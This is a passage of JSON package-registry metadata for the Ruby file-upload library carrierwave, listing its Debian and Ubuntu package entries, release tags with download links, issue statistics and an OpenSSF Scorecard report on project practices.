/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"2c1e4e7aaf9aa9da354c8ee7a7f8410f4fbab009","kind":"commit","published_at":"2009-08-29T06:13:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"2e85f5fb3a3c3dc26237912d06d894d39a83d607","kind":"commit","published_at":"2009-07-18T13:14:54.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"35bd130d6282ef2809c5180df17edf20b8fbe98f","kind":"commit","published_at":"2009-07-01T10:54:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"310cb0e90dede5581c8933e52e9e6d20fc82b99a","kind":"commit","published_at":"2009-06-20T13:54:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0/manifests"},{"name":"v0.2.4","sha":"b500125c00689bcac0472200c09e74da4587c077","kind":"commit","published_at":"2009-06-11T07:23:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4/manifests"},{"name":"v0.2.3","sha":"66499a6c8f5ac16c6d97c770d97039c1075dd524","kind":"commit","published_at":"2009-05-13T13:26:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3/manifests"},{"name":"v0.2.1","sha":"c83731eaf2ae8b18dc9a49da8f805e71153d7a22","kind":"commit","published_at":"2009-05-01T12:57:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"f83d8d5e1b1908ef5d0f6f85184595992caae081","kind":"commit","published_at":"2009-04-15T19:56:32.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"f57eaea2bd09380e1eb320b03e2040cfd10898f9","kind":"commit","published_at":"2009-03-12T21:01:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-07T04:18:20.583Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/ruby-carrierwave?arch=source\u0026distro=debian-12","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/ruby-carrierwave","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/ruby-carrierwave","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/ruby-carrierwave/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-06T21:18:14.645Z","issues_count":182,"pull_requests_count":125,"avg_time_to_close_issue":81578355.10563381,"avg_time_to_close_pull_request":5115634.638095238,"issues_closed_count":142,"pull_requests_closed_count":105,"pull_request_authors_count":65,"issue_authors_count":163,"avg_comments_per_issue":2.456043956043956,"avg_comments_per_pull_request":1.648,"merged_pull_requests_count":70,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":12,"past_year_pull_requests_count":23,"past_year_avg_time_to_close_issue":5608133.0,"past_year_avg_time_to_close_pull_request":3071969.3,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":12,"past_year_avg_comments_per_issue":0.8333333333333334,"past_year_avg_comments_per_pull_request":0.7391304347826086,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":5,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/issues","maintainers":[{"login":"mshibuya","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mshibuya"},{"login":"plribeiro3000","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/plribeiro3000"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-carrierwave/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-carrierwave/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-carrierwave/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-carrierwave/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-carrierwave/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-carrierwave/codemeta","maintainers":[],"registry":{"name":"debian-12","url":"https://packages.debian.org/bookworm","ecosystem":"debian","default":true,"packages_count":34734,"maintainers_count":0,"namespaces_count":4,"keywords_count":2652,"github":"debian","metadata":{"codename":"bookworm","funded_packages_count":1085},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:49.459Z","updated_at":"2026-08-17T05:05:40.420Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/namespaces"}},{"id":13778550,"name":"ruby-carrierwave","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-13T13:13:51.518Z","latest_release_published_at":"2026-02-13T13:13:51.518Z","latest_release_number":"1.3.2-2","last_synced_at":"2026-03-13T13:38:04.364Z","created_at":"2026-02-13T13:13:51.339Z","updated_at":"2026-08-07T04:18:20.596Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-carrierwave","install_command":"apt-get install ruby-carrierwave","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-carrierwave","standards_version":"4.5.1","maintainer":"Debian Ruby Extras Maintainers \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"cucumber, debhelper-compat (= 13), gem2deb, rake, rails (\u003e= 4.0~), ruby-activemodel, ruby-activerecord (\u003e= 2:4.0~), ruby-activesupport (\u003e= 2:4.0~), ruby-generator-spec (\u003e= 0.9.1~), ruby-mime-types (\u003e= 1.16~), ruby-ssrf-filter, ruby-mini-magick (\u003e= 3.6.0~), ruby-pg, ruby-rmagick, ruby-timecop, ruby-webmock, ruby-rspec (\u003e= 3.4~), ruby-fog-aws, ruby-fog-google (\u003e= 1.7.1~), ruby-fog-local, ruby-fog-rackspace, pry","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":426955,"uuid":"47087","full_name":"carrierwaveuploader/carrierwave","owner":"carrierwaveuploader","description":"Classier solution for file uploads for Rails, Sinatra and other Ruby web frameworks","archived":false,"fork":false,"pushed_at":"2026-06-22T13:57:00.000Z","size":5102,"stargazers_count":8781,"open_issues_count":68,"forks_count":1649,"subscribers_count":128,"default_branch":"master","last_synced_at":"2026-08-04T04:05:10.902Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/carrierwaveuploader.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-08-28T18:39:49.000Z","updated_at":"2026-07-28T18:06:49.000Z","dependencies_parsed_at":"2026-01-05T09:00:37.179Z","dependency_job_id":null,"html_url":"https://github.com/carrierwaveuploader/carrierwave","commit_stats":{"total_commits":2061,"total_committers":457,"mean_commits":"4.5098468271334795","dds":0.7472100921882581,"last_synced_commit":"f0620919d00dbd74d31e6b48f62346d6090e88f7"},"previous_names":["jnicklas/carrierwave"],"tags_count":88,"template":false,"template_full_name":null,"purl":"pkg:github/carrierwaveuploader/carrierwave","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/sbom","scorecard":{"id":266668,"data":{"date":"2025-08-11","repo":{"name":"github.com/carrierwaveuploader/carrierwave","commit":"a51a97071fec5cf4a0b693b8271dd4c59d6b80ab"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 6/21 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":0,"reason":"license file not detected","details":["Warn: project does not have a license file"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 15 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T12:15:17.296Z","repository_id":426955,"created_at":"2025-08-17T12:15:17.296Z","updated_at":"2025-08-17T12:15:17.296Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36320704,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-07-20T02:08:10.276Z","status":"online","status_checked_at":"2026-08-05T02:00:06.619Z","response_time":104,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"carrierwaveuploader","name":"CarrierWave","uuid":"3982589","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/3982589?v=4","repositories_count":7,"last_synced_at":"2024-03-25T21:59:40.930Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/carrierwaveuploader","funding_links":[],"total_stars":9677,"followers":8,"following":0,"created_at":"2022-11-02T17:12:49.258Z","updated_at":"2024-03-25T21:59:42.171Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader/repositories"},"tags":[{"name":"v2.2.7","sha":"690c44b63592ba8ff5b423e2565c1f75338dd2e3","kind":"tag","published_at":"2026-05-23T05:39:48.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7/manifests"},{"name":"v3.1.3","sha":"5effe4ecaae967c48d6d434f89eb71b8263dd4d4","kind":"tag","published_at":"2026-05-23T05:36:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3/manifests"},{"name":"v3.1.2","sha":"8e5db8cb0b01b1d06b95d46fedf2e0c2a445a0e9","kind":"tag","published_at":"2025-04-13T06:02:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2/manifests"},{"name":"v3.1.1","sha":"550e423fbd5cd45cac262e2c5d13bfe778be5093","kind":"tag","published_at":"2025-01-12T09:38:42.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"d85c9e6e1fc1a6b5dfadba34489f128c75b549ba","kind":"tag","published_at":"2024-12-14T08:54:06.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0/manifests"},{"name":"v3.1.0.rc","sha":"db7a7ebdd6abffa97c24abf7a52321f0ca3d5dd6","kind":"tag","published_at":"2024-12-07T05:11:18.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc/manifests"},{"name":"v3.1.0.beta","sha":"2e8bfc042ded9b51a8129ed41baf9283fd67aef6","kind":"tag","published_at":"2024-09-01T10:28:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta/manifests"},{"name":"v3.0.7","sha":"cf2f011774ff449b3107c422540610e698d3dc28","kind":"tag","published_at":"2024-03-23T08:16:52.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7/manifests"},{"name":"v2.2.6","sha":"eb6359e79fee43d1c480b0f50d9a585b3c3b1c1c","kind":"tag","published_at":"2024-03-23T08:16:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6/manifests"},{"name":"v3.0.6","sha":"a18e13c9a183a036758c6c9efed6608f17c9b919","kind":"tag","published_at":"2024-03-09T09:50:35.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6/manifests"},{"name":"v2.2.5","sha":"0fcff94cebce07b856531d6502b11466e8331409","kind":"tag","published_at":"2023-11-29T04:42:53.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5/manifests"},{"name":"v3.0.5","sha":"5316b352b6ed38595e99622eeb954a2cd0b1d5c2","kind":"tag","published_at":"2023-11-29T04:35:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5/manifests"},{"name":"v3.0.4","sha":"0c